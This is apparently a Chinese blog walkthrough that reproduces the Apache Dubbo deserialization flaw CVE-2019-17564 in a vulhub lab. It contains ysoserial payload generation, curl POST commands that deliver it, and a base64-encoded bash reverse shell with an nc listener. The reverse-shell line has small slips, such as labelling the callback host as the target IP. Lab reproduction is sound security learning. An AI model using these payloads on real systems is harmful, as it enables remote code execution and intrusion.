Aapche Dubbo Java反序列化漏洞复现

工具下载

将以下工具下载到攻击机中

ZooKeeper — 输入以下命令,下载完成后解压即可

wget https://dlcdn.apache.org/zookeeper/zookeeper-3.8.0/apache-zookeeper-3.8.0-bin.tar.gz

ysoserial — 输入下面命令,如果该方式下载不成功直接浏览器访问网站下载

wget https://github.com/frohoff/ysoserial/releases/tag/v0.0.6/ysoserial-all.jar 

漏洞复现

准备攻击机kali,靶机安装有vulhububuntu

靶机中输入下列命令开启环境

cd dubbo/CVE-2019-17564
sudo docker-compose up -d
sudo docker-compose ps

攻击机终端中输入

nmap 靶机IP -p "*"

发现了2181端口是用于转发服务的,那么其作用可能是用于目标网页进行api服务转发,所以该端口可能包含了registry(远程注册表服务器,一般都是用ZooKeeper作为registry,我们可以尝试通过 zookeeper 进行连接

进入先前下载的 zookeeper 文件夹中,输入命令

bin/zkCli.sh -server 靶机IP:2181

连接成功后,查看其 Dubbo 相关配置以及接口名

ls /
ls /dubbo
ls /dubbo/org.vulhub.api.CalcService
ls /dubbo/org.vulhub.api.CalcService/providers
ctrl+c 退出

Aapche Dubbo Java反序列化漏洞复现_第1张图片
这里显示的 172.20.0.3 是容器IP,我们利用工具发送的消息
ysoserial 的 payload CommonsCollections6 生成 poc 作为 POST 消息体发送到 http://靶机IP:8080/org.vulhub.api.CalcService

进入先前下载的 ysoserial 中,输入命令

java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/success" > 1.poc
curl -XPOST --data-binary @1.poc http://靶机IP:8080/org.vulhub.api.CalcService

Aapche Dubbo Java反序列化漏洞复现_第2张图片

Aapche Dubbo Java反序列化漏洞复现_第3张图片

打开靶机,输入

sudo docker ps
sudo exec -it 容器id bash
ls /tmp

Aapche Dubbo Java反序列化漏洞复现_第4张图片

Aapche Dubbo Java反序列化漏洞反弹shell连接

将下列内容进行base64编码

bash -i >& /dev/tcp/靶机IP/端口号 0>&1

打开另一个终端,输入

nc -lvvp 端口号

回到原终端,输入

java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgxLjEzNy80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" > 2.poc

再输入

curl -XPOST --data-binary @2.poc http://靶机IP:8080/org.vulhub.api.CalcService

Aapche Dubbo Java反序列化漏洞复现_第5张图片

你可能感兴趣的:(dubbo,网络安全,web安全)